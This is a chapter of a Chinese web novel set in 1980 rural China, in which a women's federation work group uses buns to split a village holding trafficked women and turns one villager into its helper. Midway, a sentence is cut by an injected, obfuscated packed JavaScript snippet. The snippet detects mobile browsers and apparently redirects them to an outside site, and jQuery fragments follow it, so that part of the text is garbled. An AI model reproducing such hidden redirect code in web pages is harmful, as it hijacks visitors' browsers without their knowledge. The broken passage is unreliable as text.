34. 一个包子的心理分化

作品:《80军婚,咏春高手

    一夜过去。


    楚星再次迈上了工作组解救工作前哨战艰难而曲折的征程。


    这一次进黑虎村的还是他们7个人。


    有了昨天工作组撕开的口子,他们的工作推行顺利得多。


    陈菊花这一次准备的猪油渣杂菌包都有上百个,装了满满一背篓。


    猪板油是她现熬的,杂菌是她昨天下山路上一路摘的,最新鲜不过。


    这一次,才走到上次那个林子里,陈富贵就主动迎了出来。


    他手上还拎着那面铜锣。


    陈菊花讥讽他:“你是又要敲锣,布置陷阱害我们?还是又要喊,害人精进村了?”


    她最后一句话,学的陈富贵说话,怪声怪调,阴阳怪气极了。


    陈富贵脸上堆着笑,连声讨好:“不敢,不敢。领导,我是特意过来接你们的啊!”


    陈菊花火力全开:“我怎么这么不相信呢?陈富贵,你转性了?”


    陈富贵吞了吞口水:“我老实,我积极表现。姑奶奶,你把你昨天那个包子多给我吃一个!”


    原来,昨天工作组也给了一个猪油渣杂菌包,作为报酬给又借锅,又烧火的陈富贵。


    这是在向黑虎村的村民宣布,跟工作组合作,就有领不完的好处。


    负隅顽抗,就你怎么害工作组,报应就怎么落回到你自己身上。


    陈富贵多穷一个人啊?


    为了5斤苞米,柴火,菌子,良心都可以出卖。


    为了这油汪汪,香喷喷的大包子,他也可以摇身一变。


    他哪里吃过这么香的玩意?


    这不,就从配合抵抗立即转变成了热烈欢迎。


    反正,他怎么做,村里人都看定他是叛徒了。


    多吃一口,香的是自己的嘴嘛!


    李队长笑着问他:“陈富贵,你不怕你们村了?”


    陈富贵偷偷瞄了一眼赵强,说:“我怕哪个?他们不是被绿军装逮了,放不出来嘛!”


    他说的是陈水生和陈月生。


    李队长饶有兴趣地问:“那其他人呢?你不怕他们叫你叛徒,抓你游街了?”


    “哪个敢抓我?”陈富贵一挺胸脯,“公安都是我哥!他们昨天个个都亲眼看见,亲口听见。他们哪个敢动我,我就送他们进公安局!”


    李队长哭笑不得,这家伙下得去老脸,确实跟着他们公安,一直“哥”前“哥”后的喊。


    感情不只是为了拍马屁,还为了狐假虎威啊!


    他故意戏谑他:“陈富贵,我可不是你哥,我没你这么老的弟兄。”


    陈富贵也不慌,转头向林公安,笑嘻嘻:“那林公安是我哥。”


    他脸皮比城墙还厚,刚满20岁的林公安反而被他闹了个大红脸。


    这就叫“包”治百病。跟陈富贵讲妇女解放的大道理,不如塞他一嘴油汪汪的大包子。


    跟他普法讲买卖妇女,围攻解放军是重罪,不如让他亲眼看见,亲耳听见陈水生、陈月生回不来了。


    陈富贵果然领着他们走。刚走到上次那个坝子,他主动当先走到最前头。


    然而,今天坝子上收拾得干干净净,空空荡荡,一个人都没有。


    陈富贵举起铜锣,使出吃奶的劲,用木锤“哐哐哐”地敲。


    他不愧是专门干这个的,声音虽然没有楚星敲得响。但敲锣的节奏富于变化,有快有慢,有松有驰。


    一段铜锣,硬是被他敲出了跌宕起伏的《十面埋伏》的味。


    赵强和两个公安,立即挡在了工作组前面,充满警惕地眼观六路,耳听八方。


    陈富贵却一嗓子悠悠地拉长了腔调喊:“谁家有婆娘,赶紧出来领东西喽。政府又来发包子喽!”


    “油汪汪、香喷喷的大包子,闻到香气,都喉咙里伸爪子喽!”


    他那嗓子一喊,还真给他喊出来好多人。


    前前后后坝子上各个屋子,都有人带着有的年轻,有的已经不年轻的女人过来。


    “富贵,包子在哪点?”有迫不及待的张口就问。


    出来的人和昨天的人态度截然两样。


    这就是猪油渣包子的魅力。


    吃过的还想再吃,没吃过的已经听见过同村人人都在说那包子多香,油汪汪的多实在,猪油渣香喷喷多有嚼劲。


    政府发东西,人人都吃到了,就自己没吃到。


    那不是吃了天大的亏吗?


    再加上,又多了一天,村长弟兄还是没半点回来的迹象。


    人心也就更松散了一些。


    这不,昨天只出来三分之一的人,今天倒是来了一半多。


    还有人帮着搬来了桌椅板凳。


    工作组的人还没发话,陈富贵已经神气活现的当起了监督员。


    “陈山哥,你昨天不是头一个就领了包子嘛?今天,咋个又来了?”


    他说的,正是昨天孩子们喊山爷爷的凶邻居。


    陈山眼睛一瞪,凶他:“陈富贵,你不要狗仗人势!人家政府都没说哪样,你在那狗叫!”


    陈山和他两人做邻居,一向都比他凶。


    陈富贵看他瞪眼睛,立即眼珠子去瞟工作组。


    陈富贵现在算是给村里立的和工作组合作的典型,陈菊花当然不会让他吃亏。


    她立即腰一叉,开吼:“陈山,这是妇联发给妇女同志的福利,妇联经费有限,包子数量也有限。”


    “登记了才准领,昨天登记过了就不准再来领。个个都像你那样贪心,今天大半人又得不到包子!你问问你的同村,他们干不干嘛?”


    陈山还想扯皮,黑虎村暴躁的,已经骂了起来:“陈山叔,平时我们敬你是个老辈子,你就要有个老辈子的样子!”


    昨天没好意思再现身的马三婆,也在人群中发挥她的快嘴特长:“陈山,多吃多占,肚皮撑破。贪得无厌,早晚惹祸。”


    昨天没出来领包子,今天才受不了诱惑来排队的,本来就是村里的顽固派,也凶得很。


    这下,有人开了头,纷纷七嘴八舌开始撵人:


    “陈山,你不要人心不足蛇吞象!”


    “我们都还没领,你一个人领完了!”


    “你咋好意思哟!”


    无数的声音沸腾,无数双眼睛像锥子一样,目光恨不得在陈山的身上扎几个大窟窿。


    人这个生物特别朴素。


    自己可以不吃,但是绝对忍不了别人多吃多占。


    好多人昨天没出来,被这包子香和同乡流着口


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284454|180967||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    水的馋劲给馋疯了。


    他们早都肠子都悔青了,个个都吃,凭哪样不给他们吃?


    他们都还没吃上,陈山这样的,竟然又想来吃二次,吃光自己这份!


    谁都忍不下去喽。


    滔滔民意,就像大山一样像陈山压了过去。


    他再凶,这么多人说他,他也蔫了。


    嘴巴里一个劲儿的在骂陈富贵,人却灰溜溜地拉着冯彩霞钻进人堆,跑了。


    楚星忍不住对陈菊花比了个大拇指。


    她倒是没想到,这1980年偏远农村的基层干部,竟然还懂得饥饿营销那一套。


    古人是二桃杀三士,她这是一背篓包子,撬动整个村的心理防线。


    果然,不能小看任何人啊。


    陈山跑了,陈富贵被他骂得狗血淋头,也有点蔫。


    李队长见了,走过来,拍拍他的肩膀:“富贵,干得好!工作组就是需要你这样铁面无私,维护规则的同志。你比我们公安,都意识得快!”


    陈富贵一听这话,乐开了花。


    他本来只是狐假虎威,想在同村面前耍下威风。


    可现在,一向骂他最凶的陈干部,帮着他骂别人。公安老爷喊他同志!


    他这一辈子,从来都没被人这么尊重过。


    原本对当了“叛徒”,心里头七上八下的他,就像吃了一个定心丸。


    他越发积极了。


    陈富贵红光满面,在队伍面前来回巡视,看见眼熟的,昨天来领过的同乡,就把人点出来。


    一点情面都不讲。


    他简直就像个工作组的编外人员。


    不,他比端着枪一直在旁边警戒的赵强还忙。


    黑虎村的村民,虽然大部分人都瞧不起他。但,也有为数不少的人,心下开始活络起来。


    连陈富贵这样的看门狗,政府都饶了,还叫他同志?


    盖大盖帽的,那可是公安!


    好多人心里也开始打小算盘。


    看见排成长龙的队伍里,暗流涌动,个个心思各异。张梅和李队长相视一笑。


    他们干的都是长期和人打交道的工作,特别了解人性。


    所做的一切,都是在悄无声息地把陈富贵树为典型,分化村民群体,硬生生将他们撕开的口子砸出一个窟窿。


    有了陈富贵这个熟悉全村的村里人,工作组发放油煎包子,并进行登记的工作,进行得特别顺利。


    那些领过一次的,都被他抓出来。在妇女来历上撒谎的,他一句话就给人家戳破。


    黑虎村一个个敢怒不敢言。


    毕竟,连公安老爷都喊他同志,他这真的是当“官”了!


    那些,到现在都还缩在家里负隅顽抗绝对不出来领东西的人家,不断从四面八方的屋子默默偷看。


    队伍渐渐缩短,包子越来越少。


    马三婆一屁股坐下。


    她特意避开了张梅身前的那支队伍,特意排的是楚星这一支。


    “包子呢?”一坐下,她就直接问。


    楚星抬了抬下巴:“先登记,才能领包子。”


    马三婆目光炯炯,一瞬不瞬地看着楚星,突然压低了声音说:“你们肚子里卖的啥药,我门清!”